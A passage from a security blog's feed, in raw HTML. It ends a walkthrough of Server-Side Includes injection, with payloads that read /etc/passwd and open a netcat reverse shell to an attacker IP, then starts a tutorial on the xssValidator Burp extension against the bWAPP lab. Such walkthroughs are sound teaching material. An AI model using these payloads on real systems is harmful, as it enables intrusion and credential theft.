Now that we can execute commands lets go after some sensitive information like the /etc/passwd file (this contains user account information). To do this run &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMm_mHnqdDLFdG3REA9qz_R6XZ8U_AarK6TxuZvrdahZQf9CeWrFahurpOtXZQCTizvlT_xjB-b6J99YCGQcJJJ_m-TkQk0vPX8VAW6wvDmuYo17A3b-Gi8N5PRYKy1X6bwmKx-HYp/s1600/ssi7passwd.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMm_mHnqdDLFdG3REA9qz_R6XZ8U_AarK6TxuZvrdahZQf9CeWrFahurpOtXZQCTizvlT_xjB-b6J99YCGQcJJJ_m-TkQk0vPX8VAW6wvDmuYo17A3b-Gi8N5PRYKy1X6bwmKx-HYp/s1600/ssi7passwd.PNG&quot; height=&quot;145&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Great we can see usernames, passwords, user ids etc&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMvC4I0TfZYfBhBYhqamXkFWnvDnr_BhuyFyjqNa9rovkJWK60IiMfPR4HAQN737VdWw8jnIz7PGEkiKyt-hCc7lCURnCJr4fZ_fZ9YLthZFXA30CRs1TI9PH71j0AvtKVyC6t7M7T/s1600/ssi8passwdresponse.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMvC4I0TfZYfBhBYhqamXkFWnvDnr_BhuyFyjqNa9rovkJWK60IiMfPR4HAQN737VdWw8jnIz7PGEkiKyt-hCc7lCURnCJr4fZ_fZ9YLthZFXA30CRs1TI9PH71j0AvtKVyC6t7M7T/s1600/ssi8passwdresponse.PNG&quot; height=&quot;118&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The last thing to show is now to spawn a remote shell using netcat. Netcat is known as the Swiss army knife of networking tools. It is able to read and write data across TCP and UDP networks. For this demo I will use Kali Linux (attacker machine)&amp;nbsp; to run our netcat connection. Simply open a terminal and type the following command: &amp;nbsp; nc -l -p 666&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsosQYXm-yXHYCthh0j762ExOYA3UWou76advM7IeWQyYT8BA8RowfH-cFnhO_QsDGNtGQBO5DyUO_27DGdJ9RdSfYaULxAMyQoyWdzzagEuxHIq2KqhwWKzglQbhxBRfDBXkflmTP/s1600/netcat.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsosQYXm-yXHYCthh0j762ExOYA3UWou76advM7IeWQyYT8BA8RowfH-cFnhO_QsDGNtGQBO5DyUO_27DGdJ9RdSfYaULxAMyQoyWdzzagEuxHIq2KqhwWKzglQbhxBRfDBXkflmTP/s1600/netcat.PNG&quot; height=&quot;100&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The -l tells netcat to listen for an incoming connection rather than initiating a connection to a remote host. The -p specifies the source port nc should use, we have chosen 666.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Next we want to inject our malicious SSI into the vulnerable input field. The command will be&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&amp;nbsp;&amp;lt;!--#exec cmd=&quot;nc 192.168.1.100 666 -e /bin/bash&quot; --&amp;gt; . This allows us to connect back to our attacker machine (192.168.1.100) on port 666 and then run a /bin/bash command when connection is successful.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6K75nywfa5sASdZquNRTK69dnTdy1RgUIxSiJdjBmberP1IO4xmKcnegqrioNg6U3RpMkeG51KI2PYGSIfqMGZdkPJiT97YhgE79kiR9GX84-HbazPD7J3j8ABPrjNVGCNdnIsYuG/s1600/netcatinclude.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6K75nywfa5sASdZquNRTK69dnTdy1RgUIxSiJdjBmberP1IO4xmKcnegqrioNg6U3RpMkeG51KI2PYGSIfqMGZdkPJiT97YhgE79kiR9GX84-HbazPD7J3j8ABPrjNVGCNdnIsYuG/s1600/netcatinclude.PNG&quot; height=&quot;137&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
The /bin/bash tells netcat to serve up a bash shell from the remote machine., which will then be available on the local machine. We can then execute shell commands on the remote host such as whoami, ls or pwd, its up to you :D&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic0D3FVHY11kzT1agTshwI4PGleABIqkEyuXYLS7rtHt-xqPWlUH8L1GAsZD35RqS2ojbVAeaPCwlJp9RF412-tzDkzLBdnsuiBhYnk6clK7ZTTbMTfK0Mdx-7QCOiavI15L43_Bvz/s1600/binbash.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic0D3FVHY11kzT1agTshwI4PGleABIqkEyuXYLS7rtHt-xqPWlUH8L1GAsZD35RqS2ojbVAeaPCwlJp9RF412-tzDkzLBdnsuiBhYnk6clK7ZTTbMTfK0Mdx-7QCOiavI15L43_Bvz/s1600/binbash.PNG&quot; height=&quot;221&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;</description><link>http://thehackpot.blogspot.com/2014/05/server-side-includes-ssi-injection.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1eshPtnDW57O4ElzgFSxgOd0Eys1xmbylxMxMfvbsDz7tEaDsHsqKUJIDFUPl9Sjgiiji2sSbR4EK9sFf9amsKz8K6xFfF7F9bVaUT33DsBYiyKcEkfRBln0hwUZtFLd_sz-Fq7Ty/s72-c/ssi1.PNG" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-2944043770475888857</guid><pubDate>Tue, 06 May 2014 07:53:00 +0000</pubDate><atom:updated>2014-05-07T15:52:02.143+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">bWAPP</category><category domain="http://www.blogger.com/atom/ns#">XSS</category><category domain="http://www.blogger.com/atom/ns#">xssValidator</category><title>Eliminating Automated XSS False Positives with xssValidator</title><description>In this post I want to share a very cool BurpSuite extension called xssValidator. When you are faced with a large application to test it is impossible to check all input fields manually right?. We must rely on some kind of automation to ensure that we have covered the whole application surface. The problem with automated scanning is that it can result in a good proportion of false positives.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1. Cross-Site Scripting &lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
One of the major vulnerabilities you will come across is Cross-Site Scripting or XSS. These type of flaws occur when an application takes untrusted data and sends it to the browser without proper validation. This could allow attackers to inject scripts into the victims browser causing web defacement, session hijacking etc. As you can imagine checking for a hundred or more XSS flaws manually is not much fun.&lt;br /&gt;
&lt;br /&gt;
In order to reduce the number of false positives during automated scanning&amp;nbsp;the team @&amp;nbsp;&lt;a href=&quot;https://nvisium.com/&quot;&gt;nVisium&lt;/a&gt; created the xssValidator extender. Along with creating the extension they also created a custom PhantomJS server.&amp;nbsp;&lt;a href=&quot;http://phantomjs.org/&quot;&gt;PhantomJS&lt;/a&gt; is a headless (no browser required) WebKit scriptable with a JavaScript API. The purpose of the server is to process and build a DOM from HTTP responses. The DOM is then used to check if the JavaScript has executed.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2.&amp;nbsp; Requirements&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
There are three requirements for using xssValidator:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Java 7.0 or higher installed&lt;/li&gt;
&lt;li&gt;PhantomJS&lt;/li&gt;
&lt;li&gt;BurpSuite - Pro or Free (I used the free version and it worked fine)&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;3. Installing The Extension &lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The first thing we need to do is download the extender &lt;a href=&quot;https://www.dropbox.com/s/fkuxovnhckj3908/xssValidator.jar&quot;&gt;here&lt;/a&gt;. Next we need to install it in Burp:&lt;br /&gt;
&lt;br /&gt;
Navigate to the extender tab at the top. Click on the add button, ensure extension type is Java and select the location of the JAR file:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBUaUXsdjhnb-BH0KunMWI14pK9M9xUWJrid_4qvATor4sY02PQfwj6wAv-5SR3lnBqbCbbbzWk-JLglIc7WYLWBWQEIqPohpnQw-zxjpJNpyKYxy_OETTi5yUM9M63RtF0O4U7f7t/s1600/addextension.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBUaUXsdjhnb-BH0KunMWI14pK9M9xUWJrid_4qvATor4sY02PQfwj6wAv-5SR3lnBqbCbbbzWk-JLglIc7WYLWBWQEIqPohpnQw-zxjpJNpyKYxy_OETTi5yUM9M63RtF0O4U7f7t/s1600/addextension.PNG&quot; height=&quot;106&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
When you click next you should see the screen below. If it has installed correctly there should be no errors in the output below.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCzrvfNljefWOe3dnQOq2DIn9VKWoRPLUEN8JQpYmuv2kiec1O5nR4TMV5Mb1xCVaye9-PYtegI9YhKrKoFT-iCPEkqttI6QZoeolyeUMxBXW_w385RamL3bDrFHn85Y1aNM2vtHXM/s1600/xssvalidatorloaded.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCzrvfNljefWOe3dnQOq2DIn9VKWoRPLUEN8JQpYmuv2kiec1O5nR4TMV5Mb1xCVaye9-PYtegI9YhKrKoFT-iCPEkqttI6QZoeolyeUMxBXW_w385RamL3bDrFHn85Y1aNM2vtHXM/s1600/xssvalidatorloaded.PNG&quot; height=&quot;237&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;4. Setting Up Our Target And BurpSuite Intruder &lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The next thing to do is set up Intruder and our target. For our target we will be using the bWAPP vulnerable web application. It has a number of XSS vulnerabilities, for this demo we will use the vulnerable POST page.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjduZVLRe91uM7NT4ZYWOGp1UicQX2mMXdCAbU5WQs_2EYm9feCs0wrB7FztjZDGPAaOKAssnDSR5m2LNYRnBhlHuEEzekSCklqAWhK7l_9G9OMkl5WPcy00IVakI8aF0CDL1Tyin2X/s1600/bwapp.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjduZVLRe91uM7NT4ZYWOGp1UicQX2mMXdCAbU5WQs_2EYm9feCs0wrB7FztjZDGPAaOKAssnDSR5m2LNYRnBhlHuEEzekSCklqAWhK7l_9G9OMkl5WPcy00IVakI8aF0CDL1Tyin2X/s1600/bwapp.PNG&quot; height=&quot;210&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
You need to configure your browser so that it is going through BurpSuite. You should see a request like below:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLJLkGd7oFygniiTXj6OAgilQfiwldUiSxiWlzqAySjaDBIq1BG29vuTt4gy8RmUIcMCNzuUph0HSR6VQjMTaeJCCuX1-pleTqtJZpzS6lHD5hW43TDvkfw1Y-RbuwHNzwTiKKhX3j/s1600/post.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLJLkGd7oFygniiTXj6OAgilQfiwldUiSxiWlzqAySjaDBIq1BG29vuTt4gy8RmUIcMCNzuUph0HSR6VQjMTaeJCCuX1-pleTqtJZpzS6lHD5hW43TDvkfw1Y-RbuwHNzwTiKKhX3j/s1600/post.PNG&quot; height=&quot;151&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&amp;nbsp;If you right click on the request a number of options will appear. Select &#39;Send to Intruder&#39;. We need to configure a few options in the Intruder tab. In Payload Sets select Payload Type - Extension-generated. Then select Generator and select XSS Validator Payloads and ok.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjXiC3tkRawONYhY0wJ0IPO8BidCD1kkhsebU_MqE4Ln8aA3z0VNWbo-WBc03qEXudQhlLjMrko6M0Jj-A6fxaB1JLOFQHbFqQcMFkGvvLp51rHfS6zhWRf7yA_lRUtz0f1MG03kfP/s1600/payloadset.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjXiC3tkRawONYhY0wJ0IPO8BidCD1kkhsebU_MqE4Ln8aA3z0VNWbo-WBc03qEXudQhlLjMrko6M0Jj-A6fxaB1JLOFQHbFqQcMFkGvvLp51rHfS6zhWRf7yA_lRUtz0f1MG03kfP/s1600/payloadset.PNG&quot; height=&quot;210&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Click the add button under Payload Processing, and select Invoke Burp 
Extension from the dropdown menu. Select the XSS Validator processor, 
and click ok.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4p5t5Dmfh7Ayo2zQuDiUNIBicvxT4P-NKtmSs8swlNWdgtjKaDxteNZvNzakCL-VcADVYf72KsJPInUtbay4LdisW2EihWkEDKZbLuYZ9fuPrU1al1K1PZoFhByND7Lq7IGLZNE2C/s1600/processingRule.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4p5t5Dmfh7Ayo2zQuDiUNIBicvxT4P-NKtmSs8swlNWdgtjKaDxteNZvNzakCL-VcADVYf72KsJPInUtbay4LdisW2EihWkEDKZbLuYZ9fuPrU1al1K1PZoFhByND7Lq7IGLZNE2C/s1600/processingRule.PNG&quot; height=&quot;165&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Now under the positions tab select the payload positions by using the add button. We are focusing on the firstname and lastname parameters.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2qRlutas4JlDCLH8ZVkrGIM3rqMHjQoRPoT0cBAlzVyGRrnw-EmaHLZRhUijiUzZbCFuLN-xbrIB43IK79di_9oXwIoHq1uJ4K3r5-GN-WVohqdyss_TnCNPF4lNVVbky1G-stxbg/s1600/payloadPositions.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2qRlutas4JlDCLH8ZVkrGIM3rqMHjQoRPoT0cBAlzVyGRrnw-EmaHLZRhUijiUzZbCFuLN-xbrIB43IK79di_9oXwIoHq1uJ4K3r5-GN-WVohqdyss_TnCNPF4lNVVbky1G-stxbg/s1600/payloadPositions.PNG&quot; height=&quot;192&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Under the options tab, browse down to the Grep – Match section, and enter the string “&lt;b&gt;fy7sdufsuidfhuisdf&lt;/b&gt;”. This string is returned by the Burp Extender if the payload successfully triggers an XSS.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfZYrhszkVy067__zQ-jMD7Vaq-_y2w9XuLBNoaw-3OejkhrYIhfHMy-lJ15ugfTyn8t2cdtgsRUKrc1dp2WNEYyiNbqpUEBxXMDqp-bNSJ1l6mjhl1pwdfgOuXsggiXMzWk5UBDrK/s1600/grep.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfZYrhszkVy067__zQ-jMD7Vaq-_y2w9XuLBNoaw-3OejkhrYIhfHMy-lJ15ugfTyn8t2cdtgsRUKrc1dp2WNEYyiNbqpUEBxXMDqp-bNSJ1l6mjhl1pwdfgOuXsggiXMzWk5UBDrK/s1600/grep.PNG&quot; height=&quot;268&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;5. Installing And Starting PhantomJS Server&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
We also need to install the PhantomJS server. This&amp;nbsp;&lt;a href=&quot;http://attester.ariatemplates.com/usage/phantom.html#installing_phantomjs_on_windows&quot;&gt;link&lt;/a&gt; will take you through the steps if you are using Windows. You can try phantomjs --version to ensure it is working. Before running the Intruder attack you need to start phantomjs with the xss.js script (wherever you have placed it).&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12xshpttTnMd90yM6OlgzF6-NE_bMyc7zavf1tyYqSMOOLMVxFE29r2sle6foOyGDLrnpL6isziYj0iBzeDsSmvl6QVTZozt8n6QB9cxpciOQ8SHIveCYTt3rR9TEyrFMg440Q0Iu/s1600/phantomxss.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12xshpttTnMd90yM6OlgzF6-NE_bMyc7zavf1tyYqSMOOLMVxFE29r2sle6foOyGDLrnpL6isziYj0iBzeDsSmvl6QVTZozt8n6QB9cxpciOQ8SHIveCYTt3rR9TEyrFMg440Q0Iu/s1600/phantomxss.PNG&quot; height=&quot;62&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;6. Start The Attack&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Now we just start the Intruder attack, a pane should open and any positive results will be marked in the checkbox next to the “&lt;b&gt;fy7sdufsuidfhuisdf&lt;/b&gt;” flag. It has returned four occurrences of XSS that have executed.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZCmTEGhZfRmOZ2ZgT7or3K5qX5UOZ_UeEpHD6Vn1eJf_U-yygEKTR-6zpTQEcuKCjgVNDHmXutUdSbTJbdudkVinPAsk3-thogxN3FGQjWbwHOJzDkjFwu-Z6BggwM9-i6b98ODWC/s1600/intruderattack.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZCmTEGhZfRmOZ2ZgT7or3K5qX5UOZ_UeEpHD6Vn1eJf_U-yygEKTR-6zpTQEcuKCjgVNDHmXutUdSbTJbdudkVinPAsk3-thogxN3FGQjWbwHOJzDkjFwu-Z6BggwM9-i6b98ODWC/s1600/intruderattack.PNG&quot; height=&quot;168&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
If you check the phantomjs server you should see the alerts displayed:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9ftPs6btTP_KMllAqGXs1pNo_q2GynPrIHfoeoC_VHftv_Xj0iW3Q3o6d0J_JWxOvM1zahn26VCS4AzHXjreFx9yvMymQEQ5PoDZzR5PSGJ0OxJo5_3k3qv3fFUxU-rScJ9_2iXeT/s1600/alert.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9ftPs6btTP_KMllAqGXs1pNo_q2GynPrIHfoeoC_VHftv_Xj0iW3Q3o6d0J_JWxOvM1zahn26VCS4AzHXjreFx9yvMymQEQ5PoDZzR5PSGJ0OxJo5_3k3qv3fFUxU-rScJ9_2iXeT/s1600/alert.PNG&quot; height=&quot;137&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;7. Verify The Findings&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
If you want to verify the XSS finding, simply right click the specific 
payload, and select navigate to request in browser -&amp;gt; original 
session&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
